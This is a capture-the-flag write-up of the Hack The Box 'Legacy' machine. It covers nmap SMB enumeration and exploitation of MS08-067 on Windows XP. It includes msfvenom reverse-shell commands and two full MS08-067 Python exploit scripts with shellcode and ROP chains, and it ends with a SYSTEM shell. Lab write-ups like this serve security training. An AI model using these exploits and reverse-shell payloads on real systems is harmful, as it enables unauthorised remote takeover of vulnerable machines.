Description
Legacy is an Easy Windows machine that is vulnerable to MS08-067 and MS17-010 (EternalBlue). Since I exploited a previous machine with EternalBlue, I’ll be focusing on MS08-067 this time.
Contents:
Recon and Enumeration
Start of with some nmap scans to:
- Scan all TCP ports
- Run default scripts and version detection on found ports
- Run nmap vuln scripts on found ports
sudo nmap -sS -p- -T4 -oN nmap/all-tcp 10.129.208.170 --open
# Nmap 7.91 scan initiated Sat Sep 4 17:03:29 2021 as: nmap -sS -p- -T4 -oN nmap/all-tcp --open 10.129.208.170
Nmap scan report for 10.129.208.170
Host is up (0.12s latency).
Not shown: 65532 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Sep 4 17:05:25 2021 -- 1 IP address (1 host up) scanned in 115.39 seconds
sudo nmap -sS -sC -sV -T4 -p139,445 -oN nmap/tcp-scripts 10.129.208.170
# Nmap 7.91 scan initiated Sat Sep 4 17:06:35 2021 as: nmap -sS -sC -sV -T4 -p139,445 -oN nmap/tcp-scripts 10.129.208.170
Nmap scan report for 10.129.208.170
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_clock-skew: mean: 5d00h27m37s, deviation: 2h07m16s, median: 4d22h57m37s
| nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:f1:09 (VMware)
| Names:
|_
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2021-09-10T08:04:21+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 4 17:07:34 2021 -- 1 IP address (1 host up) scanned in 58.66 second
sudo nmap --script vuln -p139,445 -Pn -v 10.129.208.170 -oN nmap/tcp-vuln-scripts
# Nmap 7.91 scan initiated Sat Sep 4 17:20:07 2021 as: nmap --script vuln -p139,445 -Pn -v -oN nmap/tcp-vuln-scripts 10.129.208.170
Nmap scan report for 10.129.208.170
Host is up (0.12s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Sep 4 17:20:32 2021 -- 1 IP address (1 host up) scanned in 25.08 seconds
Quick Disclaimer on nmap scripts
The nmap script smb-vuln-ms08-067
, which was run above, can crash systems. From the nmap documentation:
“Detects Microsoft Windows systems vulnerable to the remote code execution vulnerability known as MS08-067. This check is dangerous and it may crash systems.”
“On a fairly wide scan conducted by Brandon Enright, we determined that on average, a vulnerable system is more likely to crash than to survive the check. Out of 82 vulnerable systems, 52 crashed. Please consider this before running the script.”
I’m running all vuln scripts against this machine since it’s a CTF/lab. Certain nmap scripts can either be intrusive or crash systems and I would be cautious when running this against production machines. In addition to this, some nmap scripts run exploits against the machine, so if you’re planning on taking the OSCP exam, which bans autoexploit tools, I would avoid running those scripts. If in doubt, check the documentation and understand what your tools are doing.
You can also run an nmap scan like so:
nmap --script "vuln and safe"
This will only run scans that are tagged with vuln
and safe
. Safe scripts are scripts that shouldn’t crash services, consume large amounts of resources, or run exploits.
Services:
- SMB/Netbios on port 139/445
- Vulnerable to MS08-067 (CVE-2008-4250)
- Vulnerable to MS17-010 (CVE-2017-0143)
I run searchsploit
searching for any exploits to these vulnerabilities, not surprising that there’s a lot since these vulnerabilities are so old.
Exploitation
Exploiting SMB
The first exploit I try is Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (MS08-067)
.
I copy the code and check it out. The only thing I needed to modify in the code was the shellcode payload that gets sent. I use msfvenom
to generate the shellcode with the following command:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.88 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode --platform windows -a x86 > shellcode.txt
- -p windows/shell_reverse_tcp: this tells msfvenom to use a reverse tcp shell as the main payload
- LHOST: the IP of my machine
- LPORT: the listening port on my machine
- EXITFUNC=thread: how to exit once the payload is complete
- -b: indicates bad characters that should be avoided in the shellcode
- -f python: output the shellcode in python code format
- -v shellcode: rename the default
buf
variable name in the output to shellcode
- –platform and -a: indicate what platform and architecture to use
After generating the shellcode, I replace my shellcode with the one in the exploit file. I replace everything have the \x90
nop sled.
Modified exploit code:
import struct
import time
import sys
from threading import Thread #Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
from impacket import dcerpc
from impacket.dcerpc.v5 import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
print '#######################################################################'
print '# MS08-067 Exploit'
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#######################################################################\n'
#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;
#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)
#EXITFUNC=thread Important!
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0"
shellcode += "\x5e\x81\x76\x0e\x97\xfe\xaa\xbe\x83\xee\xfc"
shellcode += "\xe2\xf4\x6b\x16\x28\xbe\x97\xfe\xca\x37\x72"
shellcode += "\xcf\x6a\xda\x1c\xae\x9a\x35\xc5\xf2\x21\xec"
shellcode += "\x83\x75\xd8\x96\x98\x49\xe0\x98\xa6\x01\x06"
shellcode += "\x82\xf6\x82\xa8\x92\xb7\x3f\x65\xb3\x96\x39"
shellcode += "\x48\x4c\xc5\xa9\x21\xec\x87\x75\xe0\x82\x1c"
shellcode += "\xb2\xbb\xc6\x74\xb6\xab\x6f\xc6\x75\xf3\x9e"
shellcode += "\x96\x2d\x21\xf7\x8f\x1d\x90\xf7\x1c\xca\x21"
shellcode += "\xbf\x41\xcf\x55\x12\x56\x31\xa7\xbf\x50\xc6"
shellcode += "\x4a\xcb\x61\xfd\xd7\x46\xac\x83\x8e\xcb\x73"
shellcode += "\xa6\x21\xe6\xb3\xff\x79\xd8\x1c\xf2\xe1\x35"
shellcode += "\xcf\xe2\xab\x6d\x1c\xfa\x21\xbf\x47\x77\xee"
shellcode += "\x9a\xb3\xa5\xf1\xdf\xce\xa4\xfb\x41\x77\xa1"
shellcode += "\xf5\xe4\x1c\xec\x41\x33\xca\x96\x99\x8c\x97"
shellcode += "\xfe\xc2\xc9\xe4\xcc\xf5\xea\xff\xb2\xdd\x98"
shellcode += "\x90\x01\x7f\x06\x07\xff\xaa\xbe\xbe\x3a\xfe"
shellcode += "\xee\xff\xd7\x2a\xd5\x97\x01\x7f\xee\xc7\xae"
shellcode += "\xfa\xfe\xc7\xbe\xfa\xd6\x7d\xf1\x75\x5e\x68"
shellcode += "\x2b\x3d\xd4\x92\x96\xa0\xb4\x99\xa6\xc2\xbc"
shellcode += "\x97\xff\x11\x37\x71\x94\xba\xe8\xc0\x96\x33"
shellcode += "\x1b\xe3\x9f\x55\x6b\x12\x3e\xde\xb2\x68\xb0"
shellcode += "\xa2\xcb\x7b\x96\x5a\x0b\x35\xa8\x55\x6b\xff"
shellcode += "\x9d\xc7\xda\x97\x77\x49\xe9\xc0\xa9\x9b\x48"
shellcode += "\xfd\xec\xf3\xe8\x75\x03\xcc\x79\xd3\xda\x96"
shellcode += "\xbf\x96\x73\xee\x9a\x87\x38\xaa\xfa\xc3\xae"
shellcode += "\xfc\xe8\xc1\xb8\xfc\xf0\xc1\xa8\xf9\xe8\xff"
shellcode += "\x87\x66\x81\x11\x01\x7f\x37\x77\xb0\xfc\xf8"
shellcode += "\x68\xce\xc2\xb6\x10\xe3\xca\x41\x42\x45\x4a"
shellcode += "\xa3\xbd\xf4\xc2\x18\x02\x43\x37\x41\x42\xc2"
shellcode += "\xac\xc2\x9d\x7e\x51\x5e\xe2\xfb\x11\xf9\x84"
shellcode += "\x8c\xc5\xd4\x97\xad\x55\x6b"
nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10
disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"
ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1="\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3="\xcc\x90\xeb\x5a"
ret=struct.pack('<L', 0x00018000)
ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)
ret+=struct.pack('<L', 0x01040110)
ret+=struct.pack('<L', 0x01010101)
ret+=struct.pack('<L', 0x01010101)
ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)
ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
ret+=gadget1
ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['jmp eax']+module_base)
ret+=gadget2[0]
ret+=gadget2[1]
ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)
ret+=gadget2[2]
ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)
ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)
ret+=struct.pack('<L', rvas['jmp eax']+module_base)
ret+=gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
self.__port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os=='1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os=='2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os=='3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" #0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os=='4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)
elif (self.os=='5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
elif (self.os=='6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
elif (self.os=='7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}
jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case.
else:
print 'Not supported OS version\n'
sys.exit(-1)
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00" prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(5)
print 'Exploit finish\n'
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'
sys.exit(-1)
current = SRVSVC_Exploit(target, os)
current.start()
Finally I run the code with the following syntax:
python exploit.py 10.129.208.170 6
I chose 6 to indicate the operating system based on the code above:
elif (self.os=='6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2
jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.
From the nmap scan, Windows XP SP3 was my best guess.
However, after setting up a nc
listener and running the above code, I fail to get a connection.
I find another exploit script on Github that was modified 3 years ago (as of this post), it looks like it’s an updated version of the code I was trying to use, you can find the code here.
From the README, the following updates were made:
- Added support for selecting a target port at the command line. It seemed that only 445 was previously supported.
- Changed library calls to correctly establish a NetBIOS session for SMB transport
- Changed shellcode handling to allow for variable length shellcode. Just cut and paste into this source file.
I use the same shellcode as before and replace the template shellcode in the exploit.
#!/usr/bin/env python
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : https://github.com/CoreSecurity/impacket.git'
print 'PyCrypto : https://pypi.python.org/pypi/pycrypto'
sys.exit(1)
print '#######################################################################'
print '# MS08-067 Exploit'
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
print '#'
print '# Mod in 2018 by Andy Acer:'
print '# - Added support for selecting a target port at the command line.'
print '# It seemed that only 445 was previously supported.'
print '# - Changed library calls to correctly establish a NetBIOS session for SMB transport'
print '# - Changed shellcode handling to allow for variable length shellcode. Just cut and paste'
print '# into this source file.'
print '#######################################################################\n'
# ------------------------------------------------------------------------
# REPLACE THIS SHELLCODE with shellcode generated for your use
# Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS.
#
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# Reverse TCP to 10.11.0.157 port 62000:
shellcode=(
"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0"
"\x5e\x81\x76\x0e\xc0\x8e\xa8\xc8\x83\xee\xfc"
"\xe2\xf4\x3c\x66\x2a\xc8\xc0\x8e\xc8\x41\x25"
"\xbf\x68\xac\x4b\xde\x98\x43\x92\x82\x23\x9a"
"\xd4\x05\xda\xe0\xcf\x39\xe2\xee\xf1\x71\x04"
"\xf4\xa1\xf2\xaa\xe4\xe0\x4f\x67\xc5\xc1\x49"
"\x4a\x3a\x92\xd9\x23\x9a\xd0\x05\xe2\xf4\x4b"
"\xc2\xb9\xb0\x23\xc6\xa9\x19\x91\x05\xf1\xe8"
"\xc1\x5d\x23\x81\xd8\x6d\x92\x81\x4b\xba\x23"
"\xc9\x16\xbf\x57\x64\x01\x41\xa5\xc9\x07\xb6"
"\x48\xbd\x36\x8d\xd5\x30\xfb\xf3\x8c\xbd\x24"
"\xd6\x23\x90\xe4\x8f\x7b\xae\x4b\x82\xe3\x43"
"\x98\x92\xa9\x1b\x4b\x8a\x23\xc9\x10\x07\xec"
"\xec\xe4\xd5\xf3\xa9\x99\xd4\xf9\x37\x20\xd1"
"\xf7\x92\x4b\x9c\x43\x45\x9d\xe6\x9b\xfa\xc0"
"\x8e\xc0\xbf\xb3\xbc\xf7\x9c\xa8\xc2\xdf\xee"
"\xc7\x71\x7d\x70\x50\x8f\xa8\xc8\xe9\x4a\xfc"
"\x98\xa8\xa7\x28\xa3\xc0\x71\x7d\x98\x90\xde"
"\xf8\x88\x90\xce\xf8\xa0\x2a\x81\x77\x28\x3f"
"\x5b\x3f\xa2\xc5\xe6\xa2\xc2\xce\xd6\xc0\xca"
"\xc0\x8f\x13\x41\x26\xe4\xb8\x9e\x97\xe6\x31"
"\x6d\xb4\xef\x57\x1d\x45\x4e\xdc\xc4\x3f\xc0"
"\xa0\xbd\x2c\xe6\x58\x7d\x62\xd8\x57\x1d\xa8"
"\xed\xc5\xac\xc0\x07\x4b\x9f\x97\xd9\x99\x3e"
"\xaa\x9c\xf1\x9e\x22\x73\xce\x0f\x84\xaa\x94"
"\xc9\xc1\x03\xec\xec\xd0\x48\xa8\x8c\x94\xde"
"\xfe\x9e\x96\xc8\xfe\x86\x96\xd8\xfb\x9e\xa8"
"\xf7\x64\xf7\x46\x71\x7d\x41\x20\xc0\xfe\x8e"
"\x3f\xbe\xc0\xc0\x47\x93\xc8\x37\x15\x35\x48"
"\xd5\xea\x84\xc0\x6e\x55\x33\x35\x37\x15\xb2"
"\xae\xb4\xca\x0e\x53\x28\xb5\x8b\x13\x8f\xd3"
"\xfc\xc7\xa2\xc0\xdd\x57\x1d"
)
# ------------------------------------------------------------------------
# Gotta make No-Ops (NOPS) + shellcode = 410 bytes
num_nops = 410 - len(shellcode)
newshellcode = "\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable
#print "Shellcode length: %s\n\n" % len(shellcode)
nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1 = "\x90\x5a\x59\xc3"
gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]
gadget3 = "\xcc\x90\xeb\x5a"
ret = struct.pack('<L', 0x00018000)
ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
ret += struct.pack('<L', 0x01040110)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L', 0x01010101)
ret += struct.pack('<L',
rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget1
ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget2[0]
ret += gadget2[1]
ret += struct.pack('<L', rvas[
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
ret += gadget2[2]
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
ret += struct.pack('<L', rvas['jmp eax'] + module_base)
ret += gadget3
return ret
class SRVSVC_Exploit(Thread):
def __init__(self, target, os, port=445):
super(SRVSVC_Exploit, self).__init__()
# MODIFIED HERE
# Changed __port to port ... not sure if that does anything. I'm a newb.
self.port = port
self.target = target
self.os = os
def __DCEPacket(self):
if (self.os == '1'):
print 'Windows XP SP0/SP1 Universal\n'
ret = "\x61\x13\x00\x01"
jumper = nonxjmper % (ret, ret)
elif (self.os == '2'):
print 'Windows 2000 Universal\n'
ret = "\xb0\x1c\x1f\x00"
jumper = nonxjmper % (ret, ret)
elif (self.os == '3'):
print 'Windows 2003 SP0 Universal\n'
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
jumper = nonxjmper % (ret, ret)
elif (self.os == '4'):
print 'Windows 2003 SP1 English\n'
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
jumper = disableNXjumper % (
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
elif (self.os == '5'):
print 'Windows XP SP3 French (NX)\n'
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '6'):
print 'Windows XP SP3 English (NX)\n'
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
# the nonxjmper also work in this case.
jumper = nonxjmper % (disable_nx, ret)
elif (self.os == '7'):
print 'Windows XP SP3 English (AlwaysOn NX)\n'
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
# the nonxjmper also work in this case.
jumper = generate_rop(rvasets) + "AB"
else:
print 'Not supported OS version\n'
sys.exit(-1)
print '[-]Initiating connection'
# MORE MODIFICATIONS HERE #############################################################################################
if (self.port == '445'):
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
else:
# DCERPCTransportFactory doesn't call SMBTransport with necessary parameters. Calling directly here.
# *SMBSERVER is used to force the library to query the server for its NetBIOS name and use that to
# establish a NetBIOS Session. The NetBIOS session shows as NBSS in Wireshark.
self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
# NEW HOTNESS
# The Path Length and the "Actual Count" SMB parameter have to match. Path length in bytes
# is double the ActualCount field. MaxCount also seems to match. These fields in the SMB protocol
# store hex values in reverse byte order. So: 36 01 00 00 => 00 00 01 36 => 310. No idea why it's "doubled"
# from 310 to 620. 620 = 410 shellcode + extra stuff in the path.
MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620.
Offset = "\x00\x00\x00\x00"
ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print 'Exploit finish\n'
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print '\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0]
print 'Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445'
print 'Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)'
print 'Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal'
print 'Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English'
print 'Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)'
print 'Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)'
print ''
print 'Also: nmap has a good OS discovery script that pairs well with this exploit:'
print 'nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1'
print ''
sys.exit(-1)
current = SRVSVC_Exploit(target, os, port)
current.start()
For this script, I also need to specify the port, (the IP changed because I accidentally reset the box)
python ms08_067_2018.py 10.129.208.176 6 445
Running the exploit successfully gives us a shell.
SYSTEM Shell and Flags
The exploit immediately gives us a SYSTEM shell, so I don’t have to do any privilege escalation.
I collect both the user.txt and root.txt flags and submit them to complete this machine.